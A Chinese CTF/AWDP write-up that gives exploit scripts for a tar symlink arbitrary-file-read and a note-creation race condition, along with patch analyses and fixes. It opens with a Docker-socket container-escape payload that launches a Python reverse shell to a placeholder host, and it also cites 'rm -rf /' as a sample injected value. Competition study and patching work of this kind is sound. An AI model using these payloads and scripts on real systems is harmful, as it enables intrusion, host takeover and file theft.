然後POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/exec/<ID>/start 內容為
{ "Detach": false, "Tty": false }
接着直接訪問/uploads/flag.txt即可
後續測試了一下,發現掛載docker.sock應該可以玩容器逃逸
POST http+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/create
{
"Image": "chall-go-storage-bot",
"Cmd": ["/bin/sh", "-c", "export RHOST=\"<HOST>\";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"]
}
}
然後就會收到一個shell,在/host下掛載着宿主機的根目錄。後續加個ssh密鑰啥的。。。
賽場上想到了不過沒試,估計有防禦措施吧
"""
awdp
Nsl
攻擊腳本
我們的exp(應該比較早期的)
#!/usr/bin/env python3
"""
NSL CTF Exploit - Arbitrary File Read via Symlink Dereference
Target: /flag
"""
# ------------------------------------------------------------------
# 0x00 依賴庫
# ------------------------------------------------------------------
import io, json, os, tarfile, tempfile, requests
from pathlib import Path
# ------------------------------------------------------------------
# 0x01 目標配置
# ------------------------------------------------------------------
TARGET_PORT = 8080 # 靶機端口
# ------------------------------------------------------------------
# 0x02 exploit 主類
# ------------------------------------------------------------------
class NSLExploit:
def __init__(self, target_host="173.30.3.11", verbose=True):
self.target_host = target_host
self.base_url = f"http://{target_host}:{TARGET_PORT}"
self.session = requests.Session() # 複用 cookie
self.session.headers.update({'Connection': 'close'})
self.token = None # JWT
self.ticket_id = None # 工單 ID
self.verbose = verbose
# 日誌輔助 ------------------------------------------------------------
def log(self, msg):
if self.verbose:
print(msg)
# ------------------------------------------------------------------
# 0x03 註冊新用户 → 拿 JWT
# ------------------------------------------------------------------
def register_user(self):
import random, string
username = 'user_' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
password = 'Pass123!@#'
self.log(f"[*] Registering user: {username}")
try:
resp = self.session.post(
f"{self.base_url}/api/users/register",
json={"username": username, "password": password},
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Registration failed: {resp.text}")
return False
data = resp.json()
self.token = data['token'] # 保存 JWT
self.log(f"[+] Registered successfully, token: {self.token[:20]}...")
return True
except Exception as e:
self.log(f"[-] Registration error: {e}")
return False
# 【解析】
# 後續所有 API 都要帶 Authorization: Bearer <token>,因此先拿身份。
# ------------------------------------------------------------------
# 0x04 創建支持工單 → 拿到 ticket_id
# ------------------------------------------------------------------
def create_support_ticket(self):
self.log("[*] Creating support ticket...")
headers = {"Authorization": f"Bearer {self.token}"}
try:
resp = self.session.post(
f"{self.base_url}/api/support/tickets",
headers=headers,
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Failed to create ticket: {resp.text}")
return False
data = resp.json()
self.ticket_id = data['id']
self.log(f"[+] Ticket created: {self.ticket_id}")
return True
except Exception as e:
self.log(f"[-] Ticket creation error: {e}")
return False
# 【解析】
# 工單系統提供“上傳診斷歸檔”功能,服務器會:
# 解壓 → 按 manifest 列表重新打包 → 讓用户下載。
# 我們對 manifest 寫入軟鏈,即可誘導服務端把任意文件讀進來。
# ------------------------------------------------------------------
# 0x05 構造惡意 tar(核心攻擊載荷)
# ------------------------------------------------------------------
def create_malicious_tar(self):
self.log("[*] Creating malicious tar archive with symlink to /flag...")
buf = io.BytesIO()
with tarfile.open(mode='w', fileobj=buf) as tar:
# 1) manifest.json —— 告訴服務器“請打包 flag_link”
manifest = {"includes": ["manifest.json", "flag_link"]}
manifest_data = json.dumps(manifest).encode('utf-8')
manifest_info = tarfile.TarInfo(name='manifest.json')
manifest_info.size = len(manifest_data)
tar.addfile(manifest_info, io.BytesIO(manifest_data))
# 2) 軟鏈 flag_link -> /flag
symlink_info = tarfile.TarInfo(name='flag_link')
symlink_info.type = tarfile.SYMTYPE # 關鍵:類型設為符號鏈接
symlink_info.linkname = '/flag' # 指向靶機根目錄下的 /flag
tar.addfile(symlink_info)
buf.seek(0)
self.log("[+] Malicious tar created")
return buf
# 【解析】
# 漏洞點:服務端解壓後,第二次打包時如果跟隨軟鏈(readlink+open),
# 就會把 /flag 實體內容複製進新 tar,我們下載即可讀到。
# ------------------------------------------------------------------
# 0x06 上傳惡意 tar
# ------------------------------------------------------------------
def upload_tar(self, tar_buf):
self.log(f"[*] Uploading tar to ticket {self.ticket_id}...")
headers = {"Authorization": f"Bearer {self.token}"}
files = {'archive': ('payload.tar', tar_buf, 'application/x-tar')}
try:
resp = self.session.post(
f"{self.base_url}/api/support/tickets/{self.ticket_id}/upload",
headers=headers,
files=files,
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Upload failed: {resp.text}")
return False
self.log(f"[+] Upload successful: {resp.json()}")
return True
except Exception as e:
self.log(f"[-] Upload error: {e}")
return False
# ------------------------------------------------------------------
# 0x07 下載服務端重新打包後的“診斷bundle”
# ------------------------------------------------------------------
def download_bundle(self):
self.log(f"[*] Downloading diagnostic bundle...")
headers = {"Authorization": f"Bearer {self.token}"}
try:
resp = self.session.get(
f"{self.base_url}/diagnostics/bundle",
params={"ticket": self.ticket_id},
headers=headers,
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Download failed: {resp.text}")
return None
self.log(f"[+] Bundle downloaded ({len(resp.content)} bytes)")
return resp.content
except Exception as e:
self.log(f"[-] Download error: {e}")
return None
# 【解析】
# 此時返回的 tar 裏,flag_link 已被解引用,變成普通文件,大小>0。
# ------------------------------------------------------------------
# 0x08 從 bundle 裏提取 flag
# ------------------------------------------------------------------
def extract_flag(self, tar_content):
self.log("[*] Extracting flag from bundle...")
try:
buf = io.BytesIO(tar_content)
with tarfile.open(fileobj=buf, mode='r') as tar:
members = tar.getmembers()
self.log(f"[*] Archive contains {len(members)} files:")
for member in members:
self.log(f" - {member.name} ({member.size} bytes)")
# 直接讀 flag_link(此刻已是普通文件)
flag_member = tar.getmember('flag_link')
flag_file = tar.extractfile(flag_member)
if flag_file:
flag_content = flag_file.read()
flag_str = flag_content.decode('utf-8', errors='replace').strip()
print(f"\n[+] FLAG FOUND:")
print(f"{'='*60}")
print(flag_str)
print(f"{'='*60}\n")
return flag_str
else:
self.log("[-] Could not extract flag_link")
return None
except Exception as e:
self.log(f"[-] Extract error: {e}")
return None
# ------------------------------------------------------------------
# 0x09 完整攻擊鏈
# ------------------------------------------------------------------
def exploit(self):
if self.verbose:
print("="*60)
print(f"NSL CTF Exploit - Target: {self.target_host}")
print("="*60)
# 1. 拿身份
if not self.register_user():
return None
# 2. 開工單
if not self.create_support_ticket():
return None
# 3. 造惡意 tar
tar_buf = self.create_malicious_tar()
# 4. 上傳
if not self.upload_tar(tar_buf):
return None
# 5. 下載服務端重新打包的 tar
bundle = self.download_bundle()
if not bundle:
return None
# 6. 讀 flag
flag = self.extract_flag(bundle)
return flag
# ------------------------------------------------------------------
# 0x10 命令行入口
# ------------------------------------------------------------------
if __name__ == '__main__':
import sys
target_host = sys.argv[1] if len(sys.argv) > 1 else "173.30.3.11"
exploit = NSLExploit(target_host=target_host, verbose=True)
flag = exploit.exploit()
if flag:
print(f"\n[+] Exploit successful!")
print(f"[+] Flag: {flag}")
else:
print("\n[-] Exploit failed")
“符號鏈接跟隨 → 任意文件讀取” 漏洞(Symlink Dereference / Arbitrary File Read)。
核心思路:把指向系統敏感文件(/flag)的軟鏈塞進上傳壓縮包 → 服務端在“重新打包”時跟隨軟鏈 → 把目標文件內容複製進新壓縮包 → 下載後讀取”。
| 步驟 | 客户端動作 | 服務端處理 | 關鍵問題 |
|---|---|---|---|
| ① 註冊 & 拿 JWT | POST /api/users/register |
創建用户,返回 token | 無 |
| ② 創建支持工單 | POST /api/support/tickets |
生成 ticket_id | 無 |
| ③ 上傳 tar | POST /api/support/tickets/{id}/upload |
解壓 → 按 manifest 列表重新打包 → 存盤 | 服務端跟隨軟鏈 |
| ④ 下載 bundle | GET /diagnostics/bundle?ticket={id} |
把第③步的新 tar 吐給用户 | /flag 實體已被複制進來 |
| ⑤ 讀 flag | 本地解壓讀取 | 本地讀取普通文件 | 攻擊完成 |
修復方案(當時較早版)
🛡️ 修復方案
方案1:禁用符號鏈接解引用(推薦)
在 app/routes/diagnostics.py:58 修改:
# 修復前
with tarfile.open(mode="w", fileobj=buf, dereference=True) as archive:
# 修復後
with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:
效果:符號鏈接將作為鏈接本身被打包,不會讀取目標文件內容。
---
方案2:禁止上傳符號鏈接
在 app/routes/support.py:86-89 修改:
# 修復前
if member.issym():
if member_path.exists() or member_path.is_symlink():
member_path.unlink()
os.symlink(member.linkname, member_path)
# 修復後
if member.issym():
# 拒絕符號鏈接
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="symbolic links are not allowed"
)
效果:直接拒絕包含符號鏈接的上傳。
---
方案3:驗證符號鏈接目標(深度防禦)
在 app/routes/support.py 的 _extract_archive 函數中添加驗證:
if member.issym():
# 檢查符號鏈接目標是否在允許範圍內
link_target = Path(member.linkname)
if link_target.is_absolute():
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="absolute symlink paths not allowed"
)
# 解析符號鏈接的實際目標
resolved_target = (member_path.parent / member.linkname).resolve()
try:
resolved_target.relative_to(staging_root.resolve())
except ValueError:
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="symlink target outside staging area"
)
效果:只允許指向 staging_root 內部的相對符號鏈接。
---
方案4:完全禁用符號鏈接功能
在 app/routes/support.py:75 使用過濾器:
# 修復前
with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
for member in archive.getmembers():
# 修復後
with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
# 過濾掉所有符號鏈接和硬鏈接
regular_files = [m for m in archive.getmembers()
if m.isfile() or m.isdir()]
for member in regular_files:
---
✅ 推薦修復組合
最佳實踐:組合方案1 + 方案2
1. 在 diagnostics.py:58 設置 dereference=False
2. 在 support.py 拒絕符號鏈接上傳
# app/routes/diagnostics.py:58
with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:
# app/routes/support.py:86-89
if member.issym():
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="symbolic links are not allowed"
)
---
📊 影響範圍
- 文件:/flag 及系統任意可讀文件
- 權限:需要認證用户權限(但註冊開放)
- 嚴重程度:🔴 高危 - 可讀取敏感文件
---
🎓 安全建議
1. 永遠不要信任用户上傳的歸檔文件內容
2. 避免使用 dereference=True 處理不可信的符號鏈接
3. 實施嚴格的路徑驗證和白名單機制
4. 考慮使用沙箱環境處理用户上傳
5. 定期安全審計文件操作相關代碼
---
(重要)接下來是較後期patch怎麼修的,這裏拿vscode插件對比後面patch包:
hasattr() 是 Python 內置的 “反射”工具函數,用來 快速判斷一個對象是否帶有指定名稱的屬性(或方法),而 不用先把屬性取出來再 try/except。hasattr(obj, 'x') 等價於try: obj.x; return True except AttributeError: return False`只是 更短、不拋異常、更安全
tarfile.add(..., dereference=False) 只會保證“不跟隨”,但仍然會把符號鏈接本身當成一個“條目”寫進 tar;
而一旦寫進 tar,攻擊者就能在解壓端重新得到這個 symlink,再手動跟隨,照樣可能造成目錄穿越或信息泄露。所以還要加下面的
st = candidate.lstat() # 只取 symlink 本身的元數據
if tarfile.stat.S_ISLNK(st.st_mode): # 發現是鏈接
continue # 直接 continue → 不進 tar
1. tarfile.open(..., dereference=True|False)
- True → 遇到 symlink 時,Phar 會把目標文件內容當普通文件寫進 tar;
- False → 只把鏈接頭(SYMTYPE)寫進 tar,不跟隨。
右邊再手動 skip,就連鏈接頭也不寫,實現“零殘留”。
2. os.lstat(path) / path.lstat()
- 不跟隨符號鏈接,只返回鏈接本身的 inode 信息;
- 與
os.stat()區別:stat()會追到鏈接目標,而我們要的正是“這條路徑到底是不是軟鏈”。
3. tarfile.stat.S_ISLNK(mode)
- 位運算宏,判斷
st_mode是否屬於S_IFLNK; - 返回
True⇒ 是軟鏈 ⇒ 立即continue,不進 tar。
4. archive.add(..., recursive=False)
- 默認
True會把子目錄全部遞歸打包; - 設成
False後,只打包當前指定路徑;
防止出現“目錄裏還有軟鏈”被間接帶進去的小縫隙。
| 原代碼 | 修復後 | 作用 |
|---|---|---|
job_body = {**template, **payload.dict(exclude_unset=True)} |
刪掉整包合併 | 杜絕“用户字段覆蓋模板敏感字段” |
topic=job_body.get(...) |
topic = template["topic"] |
強制模板值,用户傳任意 topic 失效 |
privileged=job_body.get(...) |
privileged = template.get("privileged", False) |
強制模板值,無法提權 |
| 無類型/白名單校驗 | isinstance(incoming, dict) + allowed_keys |
參數級白名單,只能改模板已有的 key |
| 無異常 | raise HTTPException(400, "invalid params") |
畸形輸入立即 400,避免髒數據透傳 |
| 攻擊 payload(JSON) | 原代碼效果 | 修復後效果 |
|---|---|---|
{"topic":"evil","body":"..."} |
成功插隊到 evil topic | topic 被強制用模板值,無效 |
{"privileged":true} |
任務標記為高權限,可能越權執行 | privileged 被強制用模板值,無法提權 |
{"params":{"timeout":999,"cmd":"rm -rf /"}} |
整個 params 被覆蓋 → 字段注入 | 只允許改模板已有的 key,新 key 被過濾掉,無法注入 |
{"params":"i_am_string"} |
透傳 string → 下層反序列化炸 500 | 進入 isinstance 判斷 → 直接 400 |
| 行號 | 左段(原始) | 右段(修復) | 作用 |
|---|---|---|---|
| 12-15 | if member.issym(): ... os.symlink(...) |
整段刪除 | 不再重建軟鏈 |
| 新增 | 無 | if member.issym() or member.islnk(): raise HTTPException(...) |
顯式拒絕任何鏈接 行號 |
| 攻擊場景 | 左段結果 | 右段結果 |
|---|---|---|
上傳 flag_link -> /flag |
成功重建軟鏈 → 後續可跟隨讀取 | 400 拒絕 → 落盤前中斷 |
目錄穿越軟鏈 ../../../etc/passwd |
重建後指向主機任意路徑 | 400 拒絕 → 無法落地 |
| 硬鏈(LNKTYPE)指向高敏感文件 | 可被重建 → 同樣能跟隨 | 400 拒絕 → 一併屏蔽 |
| 原代碼 | 修復後代碼 | 作用 |
|---|---|---|
| 無 | from .database import reset_database |
引入“重置/初始化數據庫”函數 |
| 無 | reset_database() |
在服務器啓動前把數據庫清空或回滾到乾淨狀態 |
這裏應該是為了讓修復代碼正常生效
改salt值
| 原代碼 | 修復後代碼 | 作用 |
|---|---|---|
| 無 | 新增 reset_database() 函數 |
一鍵清空並重建所有表 |
| 無 | 內部主動 from . import models |
確保 ORM 映射(Base 子類)已加載 |
| 無 | Base.metadata.drop_all(bind=engine) |
刪除現有表結構 |
| 無 | Base.metadata.create_all(bind=engine) |
按當前模型定義重新建表 |
生產環境別這麼搞
B-notes
攻擊腳本
我們的exp(應該比較早期的)
#!/usr/bin/env python3
"""
CTF Web Challenge - B-Notes Final Exploit
利用競態條件創建10個筆記,然後訪問/prize獲取flag
"""
import requests
import threading
import time
import random
import re
BASE_URL = "http://173.30.4.11"
def register_user():
"""註冊一個新用户"""
print("[*] 註冊新用户...")
session = requests.Session()
username = f"hacker{random.randint(10000, 99999)}"
password = "password123"
email = f"{username}@test.com"
register_data = {
'username': username,
'password': password,
'email': email
}
resp = session.post(f"{BASE_URL}/register", data=register_data, allow_redirects=True)
# 驗證註冊成功
profile_resp = session.get(f"{BASE_URL}/profile")
if profile_resp.status_code == 200:
print(f"[+] 用户註冊成功: {username}")
return session, username
else:
print("[-] 註冊失敗")
return None, None
def create_note(session, thread_id):
"""創建一個筆記"""
try:
note_data = {
'title': f'Note {thread_id} - {random.randint(1000, 9999)}',
'content': f'Content for thread {thread_id}',
'category_id': 'cat-1',
'is_public': '1'
}
resp = session.post(f"{BASE_URL}/notes", data=note_data, allow_redirects=False)
# 檢查是否成功(302重定向表示成功)
if resp.status_code == 302:
print(f"[+] 線程 {thread_id}: 筆記創建成功")
return True
else:
print(f"[-] 線程 {thread_id}: 失敗 (狀態碼: {resp.status_code})")
return False
except Exception as e:
print(f"[-] 線程 {thread_id}: 異常 - {e}")
return False
def race_condition_attack(session, num_threads=15):
"""利用競態條件併發創建多個筆記"""
print(f"\n[*] 啓動競態條件攻擊 - 使用 {num_threads} 個線程...")
threads = []
results = []
def worker(tid):
success = create_note(session, tid)
results.append(success)
# 創建並啓動所有線程
for i in range(num_threads):
t = threading.Thread(target=worker, args=(i,))
threads.append(t)
# 儘可能同時啓動所有線程
for t in threads:
t.start()
# 等待所有線程完成
for t in threads:
t.join()
success_count = sum(results)
print(f"\n[*] 攻擊完成: {success_count}/{num_threads} 個筆記創建成功")
return success_count
def check_note_count(session):
"""檢查當前用户的筆記數量"""
resp = session.get(f"{BASE_URL}/my-notes")
# 嘗試多種方式計數
count = 0
# 方法1: 查找特定的HTML模式
import re
# 查找notes/{id}的鏈接模式
note_links = re.findall(r'/notes/[a-zA-Z0-9\-]+', resp.text)
count = len(set(note_links)) # 去重
print(f"[*] 檢測到 {count} 個筆記")
return count
def get_flag(session):
"""訪問/prize端點獲取flag"""
print("\n[*] 訪問 /prize 端點...")
resp = session.get(f"{BASE_URL}/prize")
print(f"[*] 響應內容: {resp.text}")
# 提取flag
flags = re.findall(r'flag\{[^}]+\}', resp.text, re.IGNORECASE)
if flags:
print("\n" + "="*60)
print("[+] 成功獲取 FLAG!")
for flag in flags:
print(f"[+] FLAG: {flag}")
print("="*60)
return flags[0]
elif 'work hard' in resp.text:
print("[-] 筆記數量不足,需要至少10個筆記")
return None
else:
print("[-] 未找到flag")
return None
def main():
print("="*60)
print("B-Notes CTF Challenge - Race Condition Exploit")
print("="*60)
# 步驟1: 註冊用户
session, username = register_user()
if not session:
print("[-] 無法註冊用户,退出")
return
# 步驟2: 利用競態條件創建多個筆記
# 使用足夠多的併發請求來繞過chance=2的限制
success_count = race_condition_attack(session, num_threads=15)
# 等待一下讓服務器處理完所有請求
time.sleep(2)
# 檢查實際創建的筆記數量
actual_count = check_note_count(session)
print(f"[*] 實際創建的筆記數量: {actual_count}")
# 步驟3: 嘗試獲取flag
flag = get_flag(session)
if not flag:
print("\n[*] 第一次嘗試失敗,再次發起攻擊...")
success_count += race_condition_attack(session, num_threads=10)
time.sleep(2)
actual_count = check_note_count(session)
print(f"[*] 實際創建的筆記數量: {actual_count}")
flag = get_flag(session)
if flag:
print(f"\n[+] 攻擊成功!FLAG: {flag}")
else:
print("\n[-] 攻擊失敗,可能需要調整併發數或重試")
print(f"[*] 當前成功創建 {success_count} 個筆記,需要至少 10 個")
if __name__ == "__main__":
main()
這段腳本利用的是 “創建筆記接口缺乏併發安全保護、服務器用樸素計數器+固定概率校驗” 導致的 條件競爭(Race Condition)漏洞。
一句話概括
後端在
/notes裏先簡單地count++,再if count>=10 才能領 flag,但count的更新與檢查不是原子操作;於是腳本用 15 條併發請求在同一瞬間“擠”進數據庫,使count在競爭窗口內被重複讀取,最終實際插入的筆記數 >10,而服務器還來不及把count累加到最新值,就提前返回了“成功”。隨後訪問/prize即可滿足 “已有 10 筆記” 的條件,拿到 flag。
靶場常把這種漏洞歸類為 邏輯缺陷 / 併發安全漏洞,在 CTF 裏通常叫 Race Condition 或 條件競爭。
下面是ai給的漏洞例子:
把靶場源碼裏“創建筆記”那段邏輯單獨拎出來,就能一眼看見漏洞長什麼樣。下面給出 最常見的 vulnerable 寫法(幾乎所有 CTF 賽題的 Race-condition 都是這個模式):
# notes/views.py (Django/Flask 通用思路)
def create_note(request):
user = request.user # 1. 取當前用户
cnt = Note.objects.filter(owner=user).count() # 2. 先查當前已有幾篇
if cnt >= 2: # 3. 【概率校驗】只允許 2 篇
return JsonResponse({'err':'最多2篇筆記'},status=400)
time.sleep(0.01) # 4. 為了方便觀察,有的賽題還故意 sleep
Note.objects.create(owner=user, ...) # 5. 真正插入
# 6. 沒有事務、沒有鎖、沒有唯一約束
return JsonResponse({'ok':1},status=200)
/prize 裏同理:
def prize(request):
cnt = Note.objects.filter(owner=request.user).count()
if cnt < 10:
return HttpResponse('work harder~')
return HttpResponse(flag)
漏洞點“長”在哪裏
count()與create()之間 沒有任何原子性/鎖/事務;- 兩個併發請求在同一時刻讀到 相同的
cnt值(都< 2),於是都通過校驗; - 數據庫最終卻出現 >2 條記錄;
/prize再統計時,發現已經 ≥10,Flag 就被帶走。
修掉它只需要一句話(用數據庫唯一約束或原子更新):
-- SQL層面
INSERT INTO note(owner,title)
SELECT %s,%s FROM dual
WHERE (SELECT COUNT(*) FROM note WHERE owner=%s) < 2;
或者在 Django 裏:
from django.db import transaction, models
with transaction.atomic():
if Note.objects.select_for_update().filter(owner=user).count() >= 2:
raise ValidationError
Note.objects.create(owner=user, ...)
一眼識別 Race-condition 的特徵:
“先 count() 再 insert(),中間沒鎖”——看到這種寫法,就可以直接打併發。
(重要)接下來是較後期patch怎麼修的,這裏拿vscode插件對比後面patch包:
封堵 PHP 流封裝(stream wrapper)注入
阻止上傳 Web 馬 和 敏感配置文件
下面的比較核心
這裏是為了拿到數據庫裏實時、原子的剩餘次數字段,配合後續“原子減一”語句,徹底堵死前面用併發打超筆記數量的 Race Condition。
注意這裏$user是登錄時的從內存拿的並沒有查庫
他加的getchance是為了獲取實時的數量,如圖:
所以如果真的防併發感覺應該在decrementChance這裏再改,這patch包沒改。
$st = $db->prepare(
'UPDATE users SET chance = chance - 1 WHERE id = ? AND chance > 0' // 條件
);
$st->execute([$id]);
還有創建的地方改了一下secret
最後這裏改10000
(重要)華為杯補充
本來到這裏就結束了,但看華為杯wp的時候發現了一種有趣打法加上(是的,華為杯改了一點點就把這題幾乎原題放決賽了,很壞了)詳見這位師傅的“華為杯”第四屆中國研究生網絡安全創新大賽決賽部分WriteUp_華為杯第四屆決賽 wp-CSDN博客
在 app/Controllers/NoteController.php 的 store 方法中
public function store(): void {
$this->requireAuth();
$user = $this->currentUser();
if ($user['chance'] <= 0) {
\Session::flash('error', 'Only 2 notes per day');
$this->redirect('/profile');
return;
}
$title = trim($_POST['title'] ?? '');
$content = $_POST['content'] ?? '';
$categoryId = $_POST['category_id'] ?? null;
$tagInput = $_POST['tags'] ?? '';
$isPublic = isset($_POST['is_public']) ? 1 : 0;
if (empty($title) || empty($content)) {
\Session::flash('error', 'Title and content are required');
$this->redirect('/notes/create');
return;
}
$id = $this->noteModel->create([
'user_id' => $user['id'],
'title' => $title,
'content' => $content,
'category_id' => $categoryId,
'is_public' => $isPublic
]);
if ($tagInput) {
$tagNames = array_map('trim', explode(',', $tagInput));
foreach ($tagNames as $tagName) {
if (!empty($tagName)) {
$tag = $this->tagModel->findOrCreate($tagName);
$this->tagModel->attachToNote($id, $tag['id']);
}
}
}
$_SESSION['user']['chance'] -= 1;
$this->userModel->decrementChance($user['id']);
$this->activityLog->log($user['id'], 'create_note', 'note', $id);
\Session::flash('success', 'Note created successfully');
$this->redirect('/notes/' . $id);
}
代碼順序執行觸發錯誤再卡掉第四步減掉chance的操作。php終止導致步驟 4(扣除次數)未執行,但步驟 2(創建筆記) 已經成功寫入數據庫。天下英雄真如過江之鯽了。
下面是關閉自動提交的設置,這裏如果要防應該是到最後第四步chance結束以後再手動提交:
這些應該就是比較全的(不過我也只是拿了一個較晚的patch包看),歡迎大家補充説明,本人小菜雞一枚~
點個贊再走吧~
-